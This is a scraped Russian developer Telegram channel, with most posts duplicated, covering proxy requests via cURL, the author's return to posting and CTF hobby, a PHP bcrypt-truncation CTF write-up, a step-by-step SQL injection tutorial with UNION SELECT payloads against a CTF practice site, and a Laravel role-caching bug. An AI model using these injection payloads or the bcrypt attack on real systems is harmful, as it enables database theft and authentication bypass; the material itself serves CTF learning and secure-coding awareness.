Отправка запроса cURL-ом через прокси
📖 Последние несколько лет тема блокировок довольно актуальная, то РКН блокировал сервисы, теперь и сами сервисы русские ip-шники не пропускают. Приходится постоянно что-то мудрить с VPN и прокси. Если через браузер и установку приложений уже все научились обходить запреты, то с отправкой запросов из кода могут быть сложности.
Для запросов с серверов и хостингов действуют все те же ограничения, что и для пользовательских ПК, поэтому некоторые запросы к сервисам могу точно так же блокироваться и получить ответы от api или спарсить какие-то данные может быть проблемой. Для обхода можно настроить vpn на сервере, чтобы поменять его ip. А можно просто сам запрос пустить через прокси.
📌 Для отправки запроса через прокси удобно использовать cURL, это приложение уже имеет все нужные настройки, достаточно только передать правильные флаги. cURL можно использовать во многих языках программирования, поэтому решение подойдет почти всем. У меня была заготовка на php, поэтому его пример и выкладываю. Чтобы было понятнее, добавил комментарии к коду. И написал тестовый эндпоинт, к которому можно «постучаться» и получить в ответ IP, с которого пишел запрос – проверить, работает прокси или нет.
❗️Код длинноват, в пост не поместится. Залил пример исходников в онлайн-сервис, посмотреть можно тут по ссылке: пример запроса.
В примере используется бесплатный прокси, возможно он уже не актуален будет. Для тестов найти рабочий прокси можно быстро в интернете, вот пример сервиса со списком – первый из гугла: ссылка. Бесплатные прокси только для баловства и отладки можно использовать, в реальных проектах нужно использовать платные или свои, для стабильной работы.
📌 P.S Тестовый эндпоинт, при обращении к которому, можно получить IP-адрес: https://owl-dev.ru/ip-checker/
#БазаЗнаний
📖 Последние несколько лет тема блокировок довольно актуальная, то РКН блокировал сервисы, теперь и сами сервисы русские ip-шники не пропускают. Приходится постоянно что-то мудрить с VPN и прокси. Если через браузер и установку приложений уже все научились обходить запреты, то с отправкой запросов из кода могут быть сложности.
Для запросов с серверов и хостингов действуют все те же ограничения, что и для пользовательских ПК, поэтому некоторые запросы к сервисам могу точно так же блокироваться и получить ответы от api или спарсить какие-то данные может быть проблемой. Для обхода можно настроить vpn на сервере, чтобы поменять его ip. А можно просто сам запрос пустить через прокси.
📌 Для отправки запроса через прокси удобно использовать cURL, это приложение уже имеет все нужные настройки, достаточно только передать правильные флаги. cURL можно использовать во многих языках программирования, поэтому решение подойдет почти всем. У меня была заготовка на php, поэтому его пример и выкладываю. Чтобы было понятнее, добавил комментарии к коду. И написал тестовый эндпоинт, к которому можно «постучаться» и получить в ответ IP, с которого пишел запрос – проверить, работает прокси или нет.
❗️Код длинноват, в пост не поместится. Залил пример исходников в онлайн-сервис, посмотреть можно тут по ссылке: пример запроса.
В примере используется бесплатный прокси, возможно он уже не актуален будет. Для тестов найти рабочий прокси можно быстро в интернете, вот пример сервиса со списком – первый из гугла: ссылка. Бесплатные прокси только для баловства и отладки можно использовать, в реальных проектах нужно использовать платные или свои, для стабильной работы.
📌 P.S Тестовый эндпоинт, при обращении к которому, можно получить IP-адрес: https://owl-dev.ru/ip-checker/
#БазаЗнаний
👍11❤1👎1
Топ публикаций за месяц
📖 Ежемесячная рубрика с 5-ю самыми популярными постами за месяц.
В подборку попадают публикации за прошлый месяц, по количеству реакция плюс количество пересылок в личные сообщения или группы – за каждое действие по одному баллу.
📌 Топ 5 постов за декабрь
1️⃣ Как не нужно присылать примеры работ
Рубрика #Мысли
2⃣ Оптимизация запросов к api google
Рубрика #КодРевью
3⃣ «Дырявый» сайт Renault
Рубрика #Юмор
4⃣ Быстрой поиск долгих sql-запросов в MySql
Рубрика #БазаЗнаний
5⃣ SSH-туннель к удаленной базе данных
Рубрика #БазаЗнаний
#Топ5Месяца
📖 Ежемесячная рубрика с 5-ю самыми популярными постами за месяц.
В подборку попадают публикации за прошлый месяц, по количеству реакция плюс количество пересылок в личные сообщения или группы – за каждое действие по одному баллу.
📌 Топ 5 постов за декабрь
Рубрика #Мысли
Рубрика #КодРевью
Рубрика #Юмор
Рубрика #БазаЗнаний
Рубрика #БазаЗнаний
#Топ5Месяца
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13👍1
Олды на месте?
📣 Отменяю режим молчания!
Это попытка реанимировать канал спустя 559 дней. Прошлый раз посты перестали выходить из-за того, что больше нечего было сказать, а высасывать из пальца не хотелось, к тому же я перестарался с графиком – каждый день по заметке оказалось не просто публиковать и в какой-то момент просто надоело и перестало приносить интерес и удовольствие, превратилось в не приятную рутину. Но теперь ошибки учтены, а за полтора года скопилось достаточно идей и интересных случаев, о которых хочется рассказать.
❗️ Формат останется прежним – заметки на тему разработки и всем, что с ней связано. Однако регулярность выхода уже никак не регламентирую, большим успехом будет выход 1-2 записей в неделю.
🚩 Хоть основная тематика канала и останется прежней, но появятся и новые категории, которыми я стал интересоваться относительно недавно – CTF (Capture The Flag), это соревнования по информационной безопасности, где участники соревнуются в решении задач, связанных с поиском уязвимостей, криптографией, реверс-инжинирингом и другими аспектами кибербезопасности. Считаю это интересной и важной частью разработки, и за последние полгода скопил достаточно информации, которой можно поделиться.
👋 Из двух тысяч подписчиков за полтора года осталось всего 990, и после этого поста еще часть отпишется. Но остальным — «Привет!». Скоро посты начнут выходить. Не переключайтесь!
Это попытка реанимировать канал спустя 559 дней. Прошлый раз посты перестали выходить из-за того, что больше нечего было сказать, а высасывать из пальца не хотелось, к тому же я перестарался с графиком – каждый день по заметке оказалось не просто публиковать и в какой-то момент просто надоело и перестало приносить интерес и удовольствие, превратилось в не приятную рутину. Но теперь ошибки учтены, а за полтора года скопилось достаточно идей и интересных случаев, о которых хочется рассказать.
❗️ Формат останется прежним – заметки на тему разработки и всем, что с ней связано. Однако регулярность выхода уже никак не регламентирую, большим успехом будет выход 1-2 записей в неделю.
👋 Из двух тысяч подписчиков за полтора года осталось всего 990, и после этого поста еще часть отпишется. Но остальным — «Привет!». Скоро посты начнут выходить. Не переключайтесь!
Please open Telegram to view this post
VIEW IN TELEGRAM
3🔥50🎉9👍8👾3❤2 2👀1
559 дней за один два поста. Часть 1
😞 В январе 2024 года стало понятно, что писать каждый день в канал мне надоело и не интересно, все самое веселое и не стандартное уже описано, а повторяться только ради очередного поста не было желания. К тому же качество явно бы стремилось вниз. И тогда я просто бросил без всяких объявлений. К тому же по работе прилично было забот, которые закружили и быстро унесли в другое русло.
😁 Но спустя полгода стало скучно, захотелось новых приключений, и в какой-то момент я наткнулся на CodeRun от Яндекса. Это был второй (2024 года) сезон по соревнованиям среди разработчиков разных направления: бекенд, фронт, мобилка, ml и аналитика. Яидентифицирую причисляю себя к бекендерам. И участвовать в секции бека показалось скучным, поэтому решил пойти на секцию фронтенда. Заодно и навыки по js подтянуть, и в целом с фронтом поглубже разобраться. Соревнование длилось 2 месяца – с 27 июня по 27 августа. Нужно было решить 29 задач, которые открывались порциями каждую 1-2 недели. В итоге я занял там 5-е место, отстав от победителя на 5 часов, решив все 29 задач. Из всех участников только 13 смогли решить полный набор. А победителями секции считались топ-20.
🎉 Победителей из каждой секции Яндекс за свой счет привез в Москву, оплатил проживание, устроили экскурсии по своим офисам и провели фуршет с церемонией награждения. Призы были больше на память, чем ценные, но тоже приятно – футболка, носки, стикеры, сертификат и приглашение на упрощенное собеседование. От собесов я отказался, но на фуршете покушал за троих :) В посте моя фотка с церемонии и сертификат.
😬 Двухмесячный марафон задач прилично вымотал — с некоторыми задачами приходилось сидеть по несколько ночей подряд, и последующие несколько месяцев снова ушли на восстановление сил. Но в феврале этого 2025 года мне пришла рассылка от Яндекса, что они запускают новое соревнование – фронтендовский CTF.
❗️ P.S. Второй пост следом опубликован, в нем завершение истории. В одну публикацию не уместился текст, разучился коротко писать))
😞 В январе 2024 года стало понятно, что писать каждый день в канал мне надоело и не интересно, все самое веселое и не стандартное уже описано, а повторяться только ради очередного поста не было желания. К тому же качество явно бы стремилось вниз. И тогда я просто бросил без всяких объявлений. К тому же по работе прилично было забот, которые закружили и быстро унесли в другое русло.
😁 Но спустя полгода стало скучно, захотелось новых приключений, и в какой-то момент я наткнулся на CodeRun от Яндекса. Это был второй (2024 года) сезон по соревнованиям среди разработчиков разных направления: бекенд, фронт, мобилка, ml и аналитика. Я
🎉 Победителей из каждой секции Яндекс за свой счет привез в Москву, оплатил проживание, устроили экскурсии по своим офисам и провели фуршет с церемонией награждения. Призы были больше на память, чем ценные, но тоже приятно – футболка, носки, стикеры, сертификат и приглашение на упрощенное собеседование. От собесов я отказался, но на фуршете покушал за троих :) В посте моя фотка с церемонии и сертификат.
😬 Двухмесячный марафон задач прилично вымотал — с некоторыми задачами приходилось сидеть по несколько ночей подряд, и последующие несколько месяцев снова ушли на восстановление сил. Но в феврале этого 2025 года мне пришла рассылка от Яндекса, что они запускают новое соревнование – фронтендовский CTF.
❗️ P.S. Второй пост следом опубликован, в нем завершение истории. В одну публикацию не уместился текст, разучился коротко писать))
👍12🔥7❤1
559 дней за один два поста. Часть 2
📖 До февраля 2025 я даже слово такое не знал – CTF(Capture The Flag), как-то мимо меня это все проскочило. Хотя тема оказалась очень популярная среди разработчиков. CTF – если упростить, то это соревнования по взлому и поиску не стандартных решений в разработке. И это оказалось как раз то, чего мне не хватало. Не мучать нудные алгоритмы, а решать нестандартные и максимально приближенные к моим реальным рабочим реалиям задачи. На этом фронтовом CTF я в двух номинациях занял вторые места — обязательные и дополнительные задания решил, места распределялись по скорости.
📖 После фронтового CTF, начал уже целенаправленно искать инфу про подобные соревнования, и один из друзей подсказал попробовать уже более серьезное, где не только фронт, а и сервера, бекенд, шифрование, осинт и тд – ежегодные соревнование от Т-Банка, T-CTF 2025.
Как оказалось, в подобных мероприятиях очень редко можно добиться результатов в одиночку, всегда участвуют командами от 3-х человек, а зачастую и гораздо большим составом. В T-CTF был лимит на трех человек в команде. Скооперировать удалось только с одним разработчиком, но он поучаствовал только один не полный день, в итоге копался почти в одиночку. Соревнование длилось 48 часов – это стандартное время для подобных соревнований. Но бывают и по 12-24 часа или наоборот немного побольше.
📖 В итоге за два дня удалось решить только половину (15/30) задач и доползти до 113 места из 1800 команд. Результат не самый лучший, но эмоций и навыков за эти 2 дня было получено много. И тогда стало понятно, чем стоит заняться – подобными задачками и соревнованиями.
📖 После T-CTF быстро удалось найти мировое сообщество на данную тему, а там и расписание международных соревнований, которые проходят по 2-3 штуки каждые выходные. Уже два десятка соревнований позади и в мировом рейтинге появилась новая русская команда – БАГодельня.
❗️ Про решение таких CTF-задачек по разработке, серверам, безопасности, шифрованию, осинту, цифровой криминалистике, вперемешку и в разрезе с рабочими реалиями я планирую делиться. В соревнованиях почти каждые выходные участвую, поэтому тем для постов должно хватать всегда.
❗️P.S. Дальше посты уже будут по разработке, балаболить заканчиваю – это не лайф-канал 😁
📖 До февраля 2025 я даже слово такое не знал – CTF(Capture The Flag), как-то мимо меня это все проскочило. Хотя тема оказалась очень популярная среди разработчиков. CTF – если упростить, то это соревнования по взлому и поиску не стандартных решений в разработке. И это оказалось как раз то, чего мне не хватало. Не мучать нудные алгоритмы, а решать нестандартные и максимально приближенные к моим реальным рабочим реалиям задачи. На этом фронтовом CTF я в двух номинациях занял вторые места — обязательные и дополнительные задания решил, места распределялись по скорости.
📖 После фронтового CTF, начал уже целенаправленно искать инфу про подобные соревнования, и один из друзей подсказал попробовать уже более серьезное, где не только фронт, а и сервера, бекенд, шифрование, осинт и тд – ежегодные соревнование от Т-Банка, T-CTF 2025.
Как оказалось, в подобных мероприятиях очень редко можно добиться результатов в одиночку, всегда участвуют командами от 3-х человек, а зачастую и гораздо большим составом. В T-CTF был лимит на трех человек в команде. Скооперировать удалось только с одним разработчиком, но он поучаствовал только один не полный день, в итоге копался почти в одиночку. Соревнование длилось 48 часов – это стандартное время для подобных соревнований. Но бывают и по 12-24 часа или наоборот немного побольше.
📖 В итоге за два дня удалось решить только половину (15/30) задач и доползти до 113 места из 1800 команд. Результат не самый лучший, но эмоций и навыков за эти 2 дня было получено много. И тогда стало понятно, чем стоит заняться – подобными задачками и соревнованиями.
📖 После T-CTF быстро удалось найти мировое сообщество на данную тему, а там и расписание международных соревнований, которые проходят по 2-3 штуки каждые выходные. Уже два десятка соревнований позади и в мировом рейтинге появилась новая русская команда – БАГодельня.
❗️ Про решение таких CTF-задачек по разработке, серверам, безопасности, шифрованию, осинту, цифровой криминалистике, вперемешку и в разрезе с рабочими реалиями я планирую делиться. В соревнованиях почти каждые выходные участвую, поэтому тем для постов должно хватать всегда.
❗️P.S. Дальше посты уже будут по разработке, балаболить заканчиваю – это не лайф-канал 😁
👍17🔥5❤3
Приколы с алгоритмом Bcrypt для создания хешей
📖 Всем известно, что пароли ни в коем случае нельзя хранить в открытом виде. Перед сохранением в БД или еще куда либо, данные хешируются алгоритмами, которые работают только в одну сторону – можно создать хеш из данных, но обратно получить оригинал не получится. Расшифровать хеш нельзя, можно только повторить перебором. Иногда хеши могут даже совпадать на разных исходных данных, но в любом случае время на «взлом» хеша требуется очень много и это не гарантирует получение оригинальных данных.
Для хеширования существует много разных алгоритмов и каждый имеет свои особенности, длину и структуру результата. Самые популярные алгоритмы – это SHA-256, SHA-1, MD5 и Bcrypt. За годы разработки, я сталкивался со многими, но с Bcrypt почему-то дел особо не имел, хотя он используется во многих языках программирования, в том числе и php. И на одном из CTF судьба свела с этим алгоритмом, это было весьма полезно, особенно в связке с php. Одна особенность может создать проблемы в безопасности.
📌 По задачке была форма и код части бекенда авторизации. Приведу только самую интересную часть, ее будет достаточно для понимания:
Известен хеш, соль пароля и логин админа. Сам пароль недоступен. Нужно пройти авторизацию.
❗️Если посмотреть документацию php по методу password_hash, который использует Bcrypt для хеширования, то там есть предупреждение: использование алгоритма PASSWORD_BCRYPT приведёт к обрезанию поля password до максимальной длины — 72 байта. То есть для создания хеша используется только начало строки, если она больше 72 символов.
После этого предупреждения уязвимость сразу становится понятная – хеш формируется на основе «склеенных» в строку логина, соли и пароля. Но соль тут длинная – 66 символов, логин 5 символов, это уже 71 байт. Под сам пароль остается всего один символ. Все что остается, это проверить 95 вариантов(печатные ASCII коды от 32 до 126) и подобрать первый символ пароля. Можно даже руками все варианты перебрать.
👨💻 Код с выводом результатов и хешей можно запустить тут: ссылка.
📖 Всем известно, что пароли ни в коем случае нельзя хранить в открытом виде. Перед сохранением в БД или еще куда либо, данные хешируются алгоритмами, которые работают только в одну сторону – можно создать хеш из данных, но обратно получить оригинал не получится. Расшифровать хеш нельзя, можно только повторить перебором. Иногда хеши могут даже совпадать на разных исходных данных, но в любом случае время на «взлом» хеша требуется очень много и это не гарантирует получение оригинальных данных.
Для хеширования существует много разных алгоритмов и каждый имеет свои особенности, длину и структуру результата. Самые популярные алгоритмы – это SHA-256, SHA-1, MD5 и Bcrypt. За годы разработки, я сталкивался со многими, но с Bcrypt почему-то дел особо не имел, хотя он используется во многих языках программирования, в том числе и php. И на одном из CTF судьба свела с этим алгоритмом, это было весьма полезно, особенно в связке с php. Одна особенность может создать проблемы в безопасности.
📌 По задачке была форма и код части бекенда авторизации. Приведу только самую интересную часть, ее будет достаточно для понимания:
// соль
$entropy = "additional-entropy-for-super-secure-passwords-you-will-never-guess";
$login = 'admin';
// пароль не известен, он в недоступном конфиге
$adminPass = getEnv('admin_password');
// настоящий хеш
$hashAuth = password_hash($username . $entropy . $adminPass, PASSWORD_BCRYPT);
// проверка данных из формы авторизации на соответствие хешу
if(password_verify(($_POST['user'] . $entropy . $_POST['pass']), $hashAuth)){
// успешная авторизация
}
Известен хеш, соль пароля и логин админа. Сам пароль недоступен. Нужно пройти авторизацию.
❗️Если посмотреть документацию php по методу password_hash, который использует Bcrypt для хеширования, то там есть предупреждение: использование алгоритма PASSWORD_BCRYPT приведёт к обрезанию поля password до максимальной длины — 72 байта. То есть для создания хеша используется только начало строки, если она больше 72 символов.
После этого предупреждения уязвимость сразу становится понятная – хеш формируется на основе «склеенных» в строку логина, соли и пароля. Но соль тут длинная – 66 символов, логин 5 символов, это уже 71 байт. Под сам пароль остается всего один символ. Все что остается, это проверить 95 вариантов(печатные ASCII коды от 32 до 126) и подобрать первый символ пароля. Можно даже руками все варианты перебрать.
👨💻 Код с выводом результатов и хешей можно запустить тут: ссылка.
🔥24❤7👍5
SQL-инъекции на понятном примере
📖 Каждый разработчик, старше стажера, знает, что не обработанные данные от фронта нельзя использовать в логике, особенно в запросах к базе данных. Если пихать в запросы все подряд, то легко нарваться на ошибки, но это не самая большая проблема. Пренебрежение валидацией данных приводит и к созданию серьезных уязвимостей. Даже одной не обработанной переменной достаточно, чтобы выкачать всю БД и стащить данные. А в некоторых версиях или не корректно настроенных СУБД можно еще и в файлы потом залезть, выйдя за переделы БД.
Про это все знают, но в наше время с чистыми запросами редко приходится работать, почти всегда есть надстройка из ORM, которая сама все обрабатывает и контролирует. Это расслабляет, и потом даже опытные разработчики по невнимательности могут натворить проблем, когда сталкиваются с «чистыми» запросами. Про такое нельзя забывать.
📌 Чтобы показать, как работают инъекции и чем чреваты подобные промахи, хочу показать пример самого простого взлома БД – получение данных из соседних таблиц. Для демонстрации идеально подходит простенькая тренировочная задачка из CTF. Вот «дырявый» сайт: http://tasks.duckerz.ru:30071
Кода обработчика нет в задаче, но судя по заголовкам ответа, там php на бекенде и будет что-то такое:
📌 В первую очередь определяем, где есть эндпоинт, который принимает данные и не экранируя вставляет в запросы к базе. На сайте всего два таких, быстро находим нужный: фильтрация категорий. Чтобы определить проблему, достаточно отправить ковычку и если сайт ломается, то мы на верном пути: домен/?category='
Уязвимость найдена, пробуем вклиниться в sql-запрос и добавить свою логику для получения дополнительных данных.
Самый простой путь, это встраивание своих запросов через UNION. Но чтобы полный(бекенд + наше дополнение) запрос был согласованный, нужно понять столько столбцов в таблице, к которой идет основной запрос. Для этого перебором отправляем ORDER BY N, где N это число от 1 и выше. На каком числе сайт снова сломается, столько N-1 столбцов в исходной таблице. В данном примере определяем, что столбцов 4 штуки:
С 5 уже ломается, а с 4 все ок. Итоговый запорос получается такой на бекенде:
Первая ковычка в get-параметре закрывает открытую ковычку из кода, чтобы sql-запрос остался валидным, далее мы добавляем свой order by и комментируем все остальное в запросе с помощью двух минусов в конце: --
То есть мы закрываем начало запроса, вставляем свою логику и отрезаем все, что идет дальше через комментирование sql-кода.
📌 Теперь мы знаем количество столбцов и можем приделать UNION SELECT на получение любых данных, главное дополнять количество результирующих значений до 4х штук. Тестируем запрос:
Все отработало без ошибок и на сайте вывелись наши захардкоженные 1, 2, 3 и 4 вместо данных из задуманного запроса в бекенде.
Теперь нужно узнать, что за субд используется, перебирая все известные варианты. Тут sqlite, выясняем это через такой запрос:
Узнаем полный список таблиц в БД:
📌 Среди всего списка самая интересная таблица – это s3cret, изучаем ее структуру с помощью запроса:
Получаем полный список столбцов и их тип данных. Видим столбец fl4g – там нужная информация.
❗️ Остается написать один запрос на получение значения, его расписывать не буду – кому интересно, сами можете попробовать. Если не получится, то в комментах пишите, там отвечу и подскажу.
Тренировочный полигон: http://tasks.duckerz.ru:30071
Задачка взята с сайта duckerz.ru
📖 Каждый разработчик, старше стажера, знает, что не обработанные данные от фронта нельзя использовать в логике, особенно в запросах к базе данных. Если пихать в запросы все подряд, то легко нарваться на ошибки, но это не самая большая проблема. Пренебрежение валидацией данных приводит и к созданию серьезных уязвимостей. Даже одной не обработанной переменной достаточно, чтобы выкачать всю БД и стащить данные. А в некоторых версиях или не корректно настроенных СУБД можно еще и в файлы потом залезть, выйдя за переделы БД.
Про это все знают, но в наше время с чистыми запросами редко приходится работать, почти всегда есть надстройка из ORM, которая сама все обрабатывает и контролирует. Это расслабляет, и потом даже опытные разработчики по невнимательности могут натворить проблем, когда сталкиваются с «чистыми» запросами. Про такое нельзя забывать.
📌 Чтобы показать, как работают инъекции и чем чреваты подобные промахи, хочу показать пример самого простого взлома БД – получение данных из соседних таблиц. Для демонстрации идеально подходит простенькая тренировочная задачка из CTF. Вот «дырявый» сайт: http://tasks.duckerz.ru:30071
Кода обработчика нет в задаче, но судя по заголовкам ответа, там php на бекенде и будет что-то такое:
// берем значение из get-параметра
$category = $_GET['category'];
// и без экранирования, используем в запросе
$sql = "SELECT * FROM categories WHERE category = '$category'";
// выполняем запрос к БД
$result = $conn->query($sql);
// что может пойти не так?
📌 В первую очередь определяем, где есть эндпоинт, который принимает данные и не экранируя вставляет в запросы к базе. На сайте всего два таких, быстро находим нужный: фильтрация категорий. Чтобы определить проблему, достаточно отправить ковычку и если сайт ломается, то мы на верном пути: домен/?category='
Уязвимость найдена, пробуем вклиниться в sql-запрос и добавить свою логику для получения дополнительных данных.
Самый простой путь, это встраивание своих запросов через UNION. Но чтобы полный(бекенд + наше дополнение) запрос был согласованный, нужно понять столько столбцов в таблице, к которой идет основной запрос. Для этого перебором отправляем ORDER BY N, где N это число от 1 и выше. На каком числе сайт снова сломается, столько N-1 столбцов в исходной таблице. В данном примере определяем, что столбцов 4 штуки:
домен/?category=' ORDER BY 4 --
С 5 уже ломается, а с 4 все ок. Итоговый запорос получается такой на бекенде:
SELECT * FROM categories WHERE category = '' ORDER BY 4 -- любое продолжение запроса
Первая ковычка в get-параметре закрывает открытую ковычку из кода, чтобы sql-запрос остался валидным, далее мы добавляем свой order by и комментируем все остальное в запросе с помощью двух минусов в конце: --
То есть мы закрываем начало запроса, вставляем свою логику и отрезаем все, что идет дальше через комментирование sql-кода.
📌 Теперь мы знаем количество столбцов и можем приделать UNION SELECT на получение любых данных, главное дополнять количество результирующих значений до 4х штук. Тестируем запрос:
/?category=' UNION SELECT 1,2,3,4 --
Все отработало без ошибок и на сайте вывелись наши захардкоженные 1, 2, 3 и 4 вместо данных из задуманного запроса в бекенде.
Теперь нужно узнать, что за субд используется, перебирая все известные варианты. Тут sqlite, выясняем это через такой запрос:
/?category=' UNION SELECT 1,@@version,3,4 --
Узнаем полный список таблиц в БД:
/?category=' UNION SELECT 1,name,3,4 FROM sqlite_master WHERE type='table'--
📌 Среди всего списка самая интересная таблица – это s3cret, изучаем ее структуру с помощью запроса:
/?category=' UNION SELECT 1,sql,3,4 FROM sqlite_master WHERE type='table' AND name='s3cret'--
Получаем полный список столбцов и их тип данных. Видим столбец fl4g – там нужная информация.
❗️ Остается написать один запрос на получение значения, его расписывать не буду – кому интересно, сами можете попробовать. Если не получится, то в комментах пишите, там отвечу и подскажу.
Тренировочный полигон: http://tasks.duckerz.ru:30071
Задачка взята с сайта duckerz.ru
👍11🔥10❤7
Небезопасный кеш данных
📖 Кеширование данных – это полезно для скорости работы и оптимизации. Но часто кеш преподносит сюрпризы, если с ним напортачить или что-то не предусмотреть. Можно нарваться на не валидные или неактуальные данные, когда происходит коллизия ключей или случаются проблемы в механизмах очистки, актуализации или времени жизни кеша. И еще много других вариаций проблем и ошибок. Ничего нового, как и с другим инструментом, с кешированием нужно работать обдуманно.
Но иногда проблемы могут появиться там, где их совсем не ждешь и в таких местах, которые не заметны, однако очень критичны, вплоть до угрозы безопасности всей системы. Так и случилось недавно на одном из рабочих проектов. Проблему удалось заметить и исправить еще до релиза, но история может быть поучительной и полезной.
📌 Делали админку для сервиса на Laravel, простенький CRUD данных. Для ускорения разработки взяли готовый Backpack и накатили его модули для управления ролями – у пользователей несколько уровней доступа: админ и пара обычных пользователей разных уровней. Модуль бекпака для ролей называется PermissionManager, вот ссылка на его репозиторий: github.
В админке, кроме crud-а для контента добавили и раздел управления ролями, где можно назначать и снимать привелегии доступа. Сделали без лишних кастомизаций, используя логику того же модуля PermissionManager. Все быстро собралось и запустилось. Но при тестировании поймали баг, что у пользователя после удаления админских прав, все еще оставались его полномочия. Роль админа оставалась доступна до тех пор, пока пользователь не разлогинится и не залогинится обратно.
Данные в БД и сессии обновлялись правильно, но пользователь все еще имел пометку админа при запросе его роли. Кеширование роли мы не добавляли, а в документации админки и модуля ролей про это ничего не нашли.
📌 Немного покопавшись в модуле, обнаружили, что он сам использует дополнительные библиотеки для работы с ролями – PermissionRegistrar из пакета Spatie. И уже в документации от Spatie нашли, что роли кешируются и работают через стандартные конфиги Laravel. А у нас в проекте используется Redis для кеша запросов к БД. Время кеша по умолчанию 24 часа. И этот кеш сам не очищается при обновлении ролей, его нужно принудительно чистить, так как библиотека обновление не производит. Так же очистки кеша не реализовано и в модуле PermissionManager.
Видимо, в таком подходе к кешированию ролей была какая-то логика, но явно про нее нигде не указано. В репозитории PermissionManager есть свежий коммит с подозрительным именем «Fix reset cache», и это единственное упоминание кеша ролей от Backpack.
❗️То есть, если бы на этапе тестирования, не была обнаружена проблема, то можно было зарелизить сервис, который отзывает роли админов с задержкой в 24 часа. А за сутки некоторые вредители могут много дел натворить. Мораль простая – нужно хорошо понимать инструменты, которые используются, а сторонние решения всегда предварительно хорошенько изучать.
📌 P.S. Если кому-то нужен фикс, то очистка кеша ролей в модуле PermissionManager от Backpack вызывается так, использовать после обновления или удаления ролей пользователя:
📖 Кеширование данных – это полезно для скорости работы и оптимизации. Но часто кеш преподносит сюрпризы, если с ним напортачить или что-то не предусмотреть. Можно нарваться на не валидные или неактуальные данные, когда происходит коллизия ключей или случаются проблемы в механизмах очистки, актуализации или времени жизни кеша. И еще много других вариаций проблем и ошибок. Ничего нового, как и с другим инструментом, с кешированием нужно работать обдуманно.
Но иногда проблемы могут появиться там, где их совсем не ждешь и в таких местах, которые не заметны, однако очень критичны, вплоть до угрозы безопасности всей системы. Так и случилось недавно на одном из рабочих проектов. Проблему удалось заметить и исправить еще до релиза, но история может быть поучительной и полезной.
📌 Делали админку для сервиса на Laravel, простенький CRUD данных. Для ускорения разработки взяли готовый Backpack и накатили его модули для управления ролями – у пользователей несколько уровней доступа: админ и пара обычных пользователей разных уровней. Модуль бекпака для ролей называется PermissionManager, вот ссылка на его репозиторий: github.
В админке, кроме crud-а для контента добавили и раздел управления ролями, где можно назначать и снимать привелегии доступа. Сделали без лишних кастомизаций, используя логику того же модуля PermissionManager. Все быстро собралось и запустилось. Но при тестировании поймали баг, что у пользователя после удаления админских прав, все еще оставались его полномочия. Роль админа оставалась доступна до тех пор, пока пользователь не разлогинится и не залогинится обратно.
Данные в БД и сессии обновлялись правильно, но пользователь все еще имел пометку админа при запросе его роли. Кеширование роли мы не добавляли, а в документации админки и модуля ролей про это ничего не нашли.
📌 Немного покопавшись в модуле, обнаружили, что он сам использует дополнительные библиотеки для работы с ролями – PermissionRegistrar из пакета Spatie. И уже в документации от Spatie нашли, что роли кешируются и работают через стандартные конфиги Laravel. А у нас в проекте используется Redis для кеша запросов к БД. Время кеша по умолчанию 24 часа. И этот кеш сам не очищается при обновлении ролей, его нужно принудительно чистить, так как библиотека обновление не производит. Так же очистки кеша не реализовано и в модуле PermissionManager.
Видимо, в таком подходе к кешированию ролей была какая-то логика, но явно про нее нигде не указано. В репозитории PermissionManager есть свежий коммит с подозрительным именем «Fix reset cache», и это единственное упоминание кеша ролей от Backpack.
❗️То есть, если бы на этапе тестирования, не была обнаружена проблема, то можно было зарелизить сервис, который отзывает роли админов с задержкой в 24 часа. А за сутки некоторые вредители могут много дел натворить. Мораль простая – нужно хорошо понимать инструменты, которые используются, а сторонние решения всегда предварительно хорошенько изучать.
📌 P.S. Если кому-то нужен фикс, то очистка кеша ролей в модуле PermissionManager от Backpack вызывается так, использовать после обновления или удаления ролей пользователя:
app(\Spatie\Permission\PermissionRegistrar::class)->forgetCachedPermissions();
🔥12👍4❤2🤝1
Эстонский Аист
❗️ Небольшой интерактив. Как найти координаты гнезда аиста в поле? Из вводных есть только четыре фотографии с панорамы google map – заскринены четыре стороны света. Фото тут: ссылка.
📖 На одном из CTF была задача на поиск такого места. Это задачка из раздела osint, где нужно найти решение на основе открытых источников – подсказки могут быть на любых сайтах. Даны были только 4 фотки и больше никаких подсказок. То, что это Эстония, смогли определить по форме дорожного знака. И во время соревнования так и не осилили задачу. И из полутора тысяч команд, только три команды смогли найти нужное место. Соревнования закончились пару недель назад, но загадка покоя не давала и посидев потом несколько вечеров, все же удалось придумать решение.
📌 Чисто теоретически, задачу можно решить и в ручном режиме, просто перебрав все гнезда Эстонии. Но на это может уйти ни один день. Поэтому искали автоматизированное решение или какие-то еще подсказки, чтобы сузить поиски.
📌 В итоге получилось придумать автоматизацию и гнездо находится скриптами за 20 мин. Решение с кодом и описанием логики работы опубликую в субботу (2 августа). Но чтобы устроить немного интерактива, предлагаю в комментариях устроить мозговой штурм – как можно найти этого аиста?
❗️ Чтобы не начинать с чистого листа, вот пара подсказок:
Вводные: архив со скринами 4х сторон света, с нужного места: фото.
Подсказка 1: это Эстония, уже упомянул в тексте
Подсказка 2: эстонский сайт, где отмечены все (3332 шт) гнезда белых аистов: сайт.
⁉️ Ваши идеи и предположения? Обсуждаем в комментариях.
❗️ Небольшой интерактив. Как найти координаты гнезда аиста в поле? Из вводных есть только четыре фотографии с панорамы google map – заскринены четыре стороны света. Фото тут: ссылка.
📖 На одном из CTF была задача на поиск такого места. Это задачка из раздела osint, где нужно найти решение на основе открытых источников – подсказки могут быть на любых сайтах. Даны были только 4 фотки и больше никаких подсказок. То, что это Эстония, смогли определить по форме дорожного знака. И во время соревнования так и не осилили задачу. И из полутора тысяч команд, только три команды смогли найти нужное место. Соревнования закончились пару недель назад, но загадка покоя не давала и посидев потом несколько вечеров, все же удалось придумать решение.
📌 Чисто теоретически, задачу можно решить и в ручном режиме, просто перебрав все гнезда Эстонии. Но на это может уйти ни один день. Поэтому искали автоматизированное решение или какие-то еще подсказки, чтобы сузить поиски.
📌 В итоге получилось придумать автоматизацию и гнездо находится скриптами за 20 мин. Решение с кодом и описанием логики работы опубликую в субботу (2 августа). Но чтобы устроить немного интерактива, предлагаю в комментариях устроить мозговой штурм – как можно найти этого аиста?
❗️ Чтобы не начинать с чистого листа, вот пара подсказок:
Вводные: архив со скринами 4х сторон света, с нужного места: фото.
Подсказка 1: это Эстония, уже упомянул в тексте
Подсказка 2: эстонский сайт, где отмечены все (3332 шт) гнезда белых аистов: сайт.
⁉️ Ваши идеи и предположения? Обсуждаем в комментариях.
🤔9❤1
